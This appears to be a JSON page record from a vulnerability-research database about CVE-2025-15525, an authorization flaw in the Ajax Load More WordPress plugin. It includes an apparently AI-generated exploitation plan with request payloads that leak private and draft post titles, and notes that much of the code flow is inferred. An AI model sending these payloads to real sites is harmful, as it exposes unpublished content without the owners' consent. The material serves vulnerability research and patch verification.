[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fhlAP-KHFzaG6v81djPcXZlnf3BzkgVfRZsIjep3CRbM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":26,"research_started_at":27,"research_completed_at":28,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":29},"CVE-2025-15525","ajax-load-more-infinite-scroll-lazy-load-load-more-incorrect-authorization-to-unauthenticated-privatedraft-post-title-an","Ajax Load More – Infinite Scroll, Lazy Load & Load More \u003C= 7.8.1 - Incorrect Authorization to Unauthenticated Private\u002FDraft Post Title and Excerpt Exposure","The Ajax Load More – Infinite Scroll, Load More, & Lazy Load plugin for WordPress is vulnerable to unauthorized access of data due to incorrect authorization on the parse_custom_args() function in all versions up to, and including, 7.8.1. This makes it possible for unauthenticated attackers to expose the titles and excerpts of private, draft, pending, scheduled, and trashed posts.","ajax-load-more",null,"\u003C=7.8.1","7.8.2","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Incorrect Authorization","2026-01-30 16:20:53","2026-01-31 04:35:15",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd01f4e67-a463-4973-97b1-41a64398686a?source=api-prod",1,[],"researched",false,3,"Based on the vulnerability description for **CVE-2025-15525**, this is an unauthenticated information disclosure vulnerability in the **Ajax Load More** plugin. The flaw lies in the `parse_custom_args()` function, which fails to validate if the requester has permission to view posts with restricted statuses (like `private`, `draft`, `pending`, etc.) before including them in a `WP_Query`.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Incorrect Authorization to Private\u002FDraft Post Data.\n*   **Affected Function:** `parse_custom_args()` (inferred to be located in the core AJAX processing logic).\n*   **Constraint:** The plugin allows users to pass custom query arguments to the AJAX endpoint. If an attacker provides restricted `post_status` values, the plugin includes them in the query results, returning titles and excerpts that should be hidden from unauthenticated users.\n*   **Impact:** Disclosure of sensitive titles and excerpts of posts in `private`, `draft`, `pending`, `future`, and `trash` states.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action:** `alm_get_posts` (Standard action for this plugin).\n*   **Vulnerable Parameter:** `post_status` or custom arguments string parsed by `parse_custom_args()`.\n*   **Authentication:** None required (exploitable via `wp_ajax_nopriv_alm_get_posts`).\n*   **Preconditions:** A valid AJAX nonce is required.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php?action=alm_get_posts`.\n2.  **Nonce Check:** The plugin calls `check_ajax_referer()` using a nonce (usually localized as `alm_nonce`).\n3.  **Argument Parsing:** The plugin retrieves parameters from `$_GET` or `$_POST`. It calls `parse_custom_args()` to process parameters like `post_status`, `post_type`, and others.\n4.  **The Flaw:** `parse_custom_args()` accepts the `post_status` parameter directly from the user input and fails to verify if the user is logged in or has the `read_private_posts` capability.\n5.  **Query Execution:** These arguments are passed into a new `WP_Query($args)`.\n6.  **Information Leak:** The query returns restricted posts. The plugin iterates through the results and returns the HTML\u002FJSON containing the titles and excerpts.\n\n### 4. Nonce Acquisition Strategy\nThe plugin localizes its settings and nonces into a global JavaScript object.\n\n1.  **Identify Shortcode:** The plugin's main shortcode is `[ajax_load_more]`.\n2.  **Create Trigger Page:** Create a public page containing this shortcode to ensure the scripts and nonces are enqueued.\n    ```bash\n    wp post create --post_type=page --post_title=\"ALM-Test\" --post_status=publish --post_content='[ajax_load_more post_type=\"post\"]'\n    ```\n3.  **Navigate and Extract:** Use the browser to access the page and extract the nonce from the `alm_localize` object.\n    *   **JS Variable:** `window.alm_localize`\n    *   **Nonce Key:** `alm_nonce` (or `nonce` in some versions).\n    *   **Tool Command:** `browser_eval(\"window.alm_localize?.alm_nonce\")`\n\n### 5. Test Data Setup\nTo verify the leak, we must create content that should be invisible to the public.\n1.  **Private Post:**\n    ```bash\n    wp post create --post_type=post --post_title=\"SECRET_PRIVATE_TITLE\" --post_excerpt=\"This is a secret private excerpt.\" --post_status=private\n    ```\n2.  **Draft Post:**\n    ```bash\n    wp post create --post_type=post --post_title=\"SECRET_DRAFT_TITLE\" --post_excerpt=\"This is a secret draft excerpt.\" --post_status=draft\n    ```\n3.  **Pending Post:**\n    ```bash\n    wp post create --post_type=post --post_title=\"SECRET_PENDING_TITLE\" --post_excerpt=\"This is a secret pending excerpt.\" --post_status=pending\n    ```\n\n### 6. Exploitation Strategy\nPerform an unauthenticated AJAX request to fetch the restricted posts.\n\n*   **HTTP Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    ```\n    action=alm_get_posts&nonce=[EXTRACTED_NONCE]&post_status=private,draft,pending,trash,future&posts_per_page=10\n    ```\n*   **Expected Response:** A successful response (HTTP 200) containing the strings `SECRET_PRIVATE_TITLE`, `SECRET_DRAFT_TITLE`, or their respective excerpts in the response body.\n\n### 7. Expected Results\n*   **Vulnerable Version (\u003C= 7.8.1):** The response body contains the HTML or JSON representation of the private and draft posts created in step 5.\n*   **Patched Version (7.8.2):** The plugin should either ignore the `post_status` parameter for unauthenticated users (defaulting to `publish`) or return an error, resulting in the secret titles NOT appearing in the response.\n\n### 8. Verification Steps\nAfter the `http_request`, verify the exposure:\n1.  Search the response body for the specific \"SECRET\" strings.\n2.  Confirm via `wp post list --post_status=private,draft` that these posts still exist and are correctly assigned those statuses.\n3.  If the strings are found in the `http_request` output, the information disclosure is confirmed.\n\n### 9. Alternative Approaches\nIf `post_status` is not accepted as a top-level parameter, it might be nested within a `custom_args` or `query_args` parameter:\n*   **Alternative Payload 1:** `action=alm_get_posts&nonce=[NONCE]&custom_args=post_status:private;draft`\n*   **Alternative Payload 2:** `action=alm_get_posts&nonce=[NONCE]&query_args[post_status]=private`\n\nThe research should prioritize checking how `parse_custom_args` processes the input (string vs array). Typically, ALM uses a format like `key:value;key2:value2` for custom arguments.","gemini-3-flash-preview","2026-04-27 17:39:52","2026-04-27 17:41:00",{"type":30,"vulnerable_version":31,"fixed_version":11,"vulnerable_browse":32,"vulnerable_zip":33,"fixed_browse":34,"fixed_zip":35,"all_tags":36},"plugin","7.8.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fajax-load-more\u002Ftags\u002F7.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fajax-load-more.7.8.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fajax-load-more\u002Ftags\u002F7.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fajax-load-more.7.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fajax-load-more\u002Ftags"]